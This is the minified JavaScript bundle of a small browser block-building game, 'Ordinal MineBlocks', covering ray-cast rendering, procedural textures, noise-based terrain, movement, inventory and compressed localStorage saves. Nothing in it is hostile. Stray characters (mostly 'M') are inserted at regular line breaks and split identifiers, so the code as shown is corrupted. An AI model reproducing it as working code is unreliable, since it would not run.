log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
